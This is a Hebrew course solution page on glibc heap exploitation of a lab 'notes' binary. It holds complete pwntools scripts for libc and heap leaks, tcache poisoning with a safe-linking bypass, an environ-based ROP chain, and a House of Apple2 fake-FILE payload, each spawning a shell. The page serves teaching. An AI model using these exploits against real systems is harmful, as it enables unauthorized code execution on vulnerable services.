7.6 תקיפות tcache וfastbin מודרניות פתרון
פתרון - הרצת קוד עם tcache poisoning בעולם שאחרי ההוקים¶
נעבור על הפתרון צעד אחר צעד. נתחיל מהבנת החולשה וההגנות, נבנה את שכבת הleaks, ואז נביא שני exploits מלאים ורצים: מסלול environ (המומלץ, בלתי תלוי בגרסה) ומסלול FSOP house of apple2 (המסלול המודרני ל-2.34+). בסוף כל אחד נסביר למה זה עבד ואיך להכליל.
פתרון תרגיל 1 - מיפוי החולשה והגנות¶
checksec מראה:
מסקנות: אין canary אז לא נתעסק בו, NX דולק אז shellcode מהמחסנית לא יעבוד ונצטרך ret2libc, No PIE אז כתובות הבינארי קבועות, Partial RELRO אבל זה לא משנה כי אף מטרה שלנו איננה ה-GOT.
הבאג ב-del: free(notes[i]) בלי notes[i] = NULL. התוצאה היא UAF מלא:
viewעל chunk ששוחרר קורא את התוכן שלו - וב-chunk ששוחרר, ה-8 בתים הראשונים הם ה-fd. זו leak.editעל chunk ששוחרר דורס את ה-fd- זו הרעלת tcache.delפעמיים על אותו idx הוא double-free.
כשמקצים chunk בגודל 0x500 ומשחררים אותו, הוא גדול מדי ל-tcache (מקסימום 0x410), אז הוא נכנס ל-unsorted bin. שם ה-fd וה-bk מצביעים ל-main_arena + 96 בתוך libc. view עליו מדפיס את הכתובת הזו - leak libc.
פתרון תרגיל 2 - leak libc וleak heap¶
נתחיל את הסקריפט עם פונקציות העזר לתפריט ולleaks:
from pwn import *
context.binary = elf = ELF('./notes')
libc = ELF('./libc.so.6')
context.log_level = 'info'
def start():
return process([elf.path]) # or process(['./ld.so', './notes'], env={...})
p = start()
def cmd(n):
p.sendafter(b'> ', str(n).encode())
def add(i, sz, data):
cmd(1)
p.sendafter(b'idx: ', str(i).encode())
p.sendafter(b'size: ', str(sz).encode())
p.sendafter(b'data: ', data)
def edit(i, data):
cmd(2)
p.sendafter(b'idx: ', str(i).encode())
p.sendafter(b'data: ', data)
def view(i):
cmd(3)
p.sendafter(b'idx: ', str(i).encode())
return p.recv(8)
def delete(i):
cmd(4)
p.sendafter(b'idx: ', str(i).encode())
SAFE_LINKING = True # True for 2.32+, False for 2.31 and below
def mangle(pos, ptr):
return (ptr ^ (pos >> 12)) if SAFE_LINKING else ptr
הleak libc דרך unsorted bin:
add(0, 0x500, b'A'*8) # large chunk
add(1, 0x20, b'guard') # separates from top, so it won't merge back
delete(0) # -> unsorted bin
leak = u64(view(0).ljust(8, b'\x00'))
libc.address = leak - (libc.sym['main_arena'] + 96)
log.success('libc base: ' + hex(libc.address))
הערך main_arena + 96 הוא לאן fd/bk של chunk בודד ב-unsorted מצביעים. אם pwntools לא מכיר את הסמל main_arena, אפשר לחשב אותו כ-libc.sym['__malloc_hook'] + 0x10 בגרסאות ישנות, או פשוט להריץ פעם אחת ב-gdb p &main_arena ולקבל את ה-offset.
הleak heap (נחוצה ל-safe-linking):
add(2, 0x20, b'B')
add(3, 0x20, b'C')
delete(2)
delete(3) # both to tcache 0x30; head of the list is 3
heap = u64(view(3).ljust(8, b'\x00')) << 12
log.success('heap base: ' + hex(heap))
הסבר: ה-chunk הראשון ששוחרר לתוך tcache ריק מקבל fd = 0 XOR (addr >> 12) = addr >> 12. הכפלה ב-<< 12 מחזירה את בסיס העמוד של ה-heap. אם SAFE_LINKING = False (גרסה 2.31), הערך שקראנו הוא כבר כתובת heap גולמית ואפשר לוותר על ההסטה - אבל אז נצטרך chunk שני כדי לקבל כתובת מדויקת. בשביל פשטות, על 2.31 אפשר לקרוא את ה-fd של ה-chunk השני ברשימה, שהוא כתובת גולמית של ה-chunk הראשון.
פתרון תרגיל 3 - tcache poisoning לכתיבה שרירותית¶
נעטוף את ההרעלה בפונקציית עזר. ניתן לה כתובת יעד, ותחזיר idx חדש שמצביע לשם:
next_idx = 4
def arbitrary_alloc(target, sz=0x40):
global next_idx
a, b = next_idx, next_idx + 1
next_idx += 2
add(a, sz, b'a')
add(b, sz, b'b')
delete(a)
delete(b) # ראש ה-tcache הוא b
chunk_b = heap + off_of(b) # address of the chunk for idx b (see below)
edit(b, p64(mangle(chunk_b, target))) # poison the fd of the head
r = next_idx
add(next_idx, sz, b'x'); next_idx += 1 # removes b from the list
r2 = next_idx
add(next_idx, sz, b'\x00'*8); next_idx += 1 # returned -> target
return r2
את off_of(b) (ההיסט של ה-chunk מבסיס ה-heap) מוצאים ב-gdb פעם אחת עם vis_heap_chunks או heap, או פשוט לוקחים את ההפרש בין כתובת ה-chunk לבין heap. בפועל נוח יותר לקרוא את כתובת ה-chunk ישירות מleak heap ולעקוב אחריה, אבל למען בהירות השארנו את זה מפורש.
אימות ב-gdb: אחרי ההרעלה, שימו breakpoint על malloc, ובדקו ש-rax אחרי ההקצאה השנייה שווה ל-target. אם אתם מקבלים unaligned tcache chunk detected, ה-target לא aligned ל-16 - תקנו.
פתרון תרגיל 4, מסלול א - environ אל המחסנית¶
זהו ה-exploit המלא. הוא בלתי תלוי בהוקים ועובד על 2.31 עד 2.39 כמעט בלי שינוי (רק דגל SAFE_LINKING).
תחילה מוצאים את ה-delta בין environ ל-saved RIP, פעם אחת, ב-gdb:
pwndbg> b get_int
pwndbg> run
pwndbg> p/x (long)environ
$1 = 0x7fffffffe288
pwndbg> stack 60
# locate the saved RIP of main in the output (the address that points back into main)
# assume it sits at 0x7fffffffe168
pwndbg> # delta = 0x7fffffffe288 - 0x7fffffffe168 = 0x120
ועכשיו הקוד:
DELTA = 0x120 # measured in gdb, constant across runs
# step 1: read a stack address through environ
env_idx = arbitrary_alloc(libc.sym['environ'])
stack_leak = u64(view(env_idx).ljust(8, b'\x00'))
ret_addr = stack_leak - DELTA
log.success('stack leak: ' + hex(stack_leak))
log.success('target saved RIP: ' + hex(ret_addr))
# step 2: writing a ROP chain onto the saved RIP
rip_idx = arbitrary_alloc(ret_addr)
rop = ROP(libc)
chain = flat(
rop.find_gadget(['ret'])[0], # alignment to 16 (movaps)
rop.find_gadget(['pop rdi', 'ret'])[0],
next(libc.search(b'/bin/sh\x00')),
libc.sym['system'],
)
edit(rip_idx, chain)
# step 3: make main return -> the chain runs
cmd(5) # exit option -> return from main -> ret into our chain
p.interactive()
הרצה מוצלחת נותנת:
[+] libc base: 0x7f...000
[+] heap base: 0x55...000
[+] stack leak: 0x7fffffffe288
[+] target saved RIP: 0x7fffffffe168
[*] Switching to interactive mode
$ id
uid=1000(...) ...
למה זה עבד ואיך להכליל: המפתח הוא ש-environ הוא סמל libc קבוע שמכיל מצביע חי למחסנית. הleak אחת ממנו נותנת עוגן על המחסנית, וכל שאר הכתובות על המחסנית נמצאות ממנו במרחק קבוע. משם זה ret2libc רגיל. השיטה עובדת על כל גרסת glibc כי היא לא נשענת על שום פרט פנימי של malloc או של מבני FILE - רק על tcache poisoning בסיסי ועל קיום environ. הדבר היחיד שצריך למדוד מחדש בכל binary הוא ה-DELTA, כי הוא תלוי בעומק הפריימים. אם התוכנית לא יוצאת דרך main, כוונו ל-saved RIP של הפונקציה הקרובה ביותר שתחזור.
פתרון תרגיל 4, מסלול ב - FSOP house of apple2¶
זהו המסלול שתריצו על 2.34/2.35 כשאין לכם מחסנית נוחה לכתוב עליה, אבל מובטח ש-exit (או return מ-main) ירוץ. אנחנו מזייפים FILE, מצביעים את ה-vtable ל-_IO_wfile_jumps החוקי, ומנצלים את ה-_wide_vtable שלא נבדק כדי לקרוא ל-system("/bin/sh").
תחילה נזייף את המבנה בתוך chunk שאנחנו שולטים בכתובתו. נשתמש בכתובת heap שדלפה. נניח שהקצינו chunk גדול FAKE שכתובתו fake_addr:
fake_addr = heap + FAKE_OFF # address of the fake FILE (our chunk)
wide_addr = fake_addr + 0x100 # _wide_data inside the same buffer
wide_vtable = fake_addr + 0x200 # the fake vtable of the wide data
# --- the fake FILE ---
file = p64(u64(b' /bin/sh')) # _flags: contains /bin/sh, and lacks bit 0x8
file += p64(0) * 6
file = file.ljust(0x28, b'\x00')
file += p64(0) # _IO_write_base = 0
file += p64(1) # _IO_write_ptr = 1 ( > write_base )
file = file.ljust(0x88, b'\x00')
file += p64(0) # _lock -> a valid writable area (e.g. a zeroed field in libc)
file = file.ljust(0xa0, b'\x00')
file += p64(wide_addr) # _wide_data
file = file.ljust(0xc0, b'\x00')
file += p64(0) # _mode = 0 (the flush path)
file = file.ljust(0xd8, b'\x00')
file += p64(libc.sym['_IO_wfile_jumps']) # valid vtable -> _IO_wfile_overflow
# --- fake _wide_data ---
wide = p64(0) * 4 # _IO_write_base = NULL -> triggers the allocation path
wide = wide.ljust(0xe0, b'\x00')
wide += p64(wide_vtable) # _wide_vtable (not checked!)
# --- fake vtable: __doallocate at offset 0x68 ---
vt = b'\x00' * 0x68 + p64(libc.sym['system'])
עכשיו כותבים את שלושת החלקים אל תוך ה-buffer שלנו (למשל דרך edit על ה-idx של FAKE, בהתאם ל-offsets), ולבסוף דורסים את _IO_list_all עם tcache poisoning כדי שיצביע ל-FILE המזויף:
# assume fake_idx points to a buffer whose address is fake_addr
edit(fake_idx, file) # if the buffer is big enough, write it all at once
# write wide and vt at offsets 0x100 and 0x200 inside the same buffer
list_idx = arbitrary_alloc(libc.sym['_IO_list_all'])
edit(list_idx, p64(fake_addr)) # _IO_list_all -> our FILE
cmd(5) # exit -> _IO_flush_all -> system("/bin/sh")
p.interactive()
שרשרת הקריאות שמתרחשת בעת exit:
exit()
-> _IO_cleanup -> _IO_flush_all_lockp
iterates over _IO_list_all -> our FILE
write_ptr(1) > write_base(0) => _IO_OVERFLOW(fp)
vtable = _IO_wfile_jumps => _IO_wfile_overflow(fp)
_flags without _IO_NO_WRITES, wide->_IO_write_base == NULL
=> _IO_wdoallocbuf(fp)
=> fp->_wide_data->_wide_vtable->__doallocate(fp)
= system(fp) and fp's head contains "/bin/sh" => shell
למה זה עבד ואיך להכליל: הבדיקה _IO_vtable_check (מ-2.24) חוסמת vtable שרירותי, אבל _IO_wfile_jumps הוא vtable חוקי, כך שהבדיקה עוברת. מכאן אנחנו מנתבים את הזרימה למסלול ה-wide, שם ה-_wide_vtable איננו מוגן על ידי אותה בדיקה - זו הפרצה. שלושת התנאים שחייבים להתקיים כדי שהמסלול יגיע ל-__doallocate: _flags בלי הביט _IO_NO_WRITES (0x8), _wide_data->_IO_write_base == NULL, ו-_IO_write_ptr > _IO_write_base כדי ש-flush בכלל ייגע ב-FILE. אותו רעיון עובד גם דרך stderr/stdout במקום _IO_list_all אם קל יותר לדרוס אותם. ה-offsets בתוך מבנה ה-FILE (0xa0 ל-_wide_data, 0xd8 ל-vtable, 0x68 ל-__doallocate) יציבים על 2.34/2.35 - אמתו אותם ב-gdb עם p &((struct _IO_FILE_plus*)0)->... אם אתם על גרסה אחרת.
הערה מסכמת¶
שני המסלולים מתחילים מאותו פרימיטיב - tcache poisoning לכתיבה שרירותית - ונבדלים רק במטרה. מסלול environ פשוט, אמין, ובלתי תלוי בגרסה, ולכן זו ברירת המחדל שלכם כשיש מחסנית להגיע אליה. מסלול house of apple2 הוא הכלי ל-2.34+ כשהיציאה מובטחת אבל אין מחסנית נוחה. בפרויקט הסיכום של הפרק (7.7) נשלב את שני העולמות על binary שדורש גם large bin attack כדי להתניע את הכתיבה הראשונה.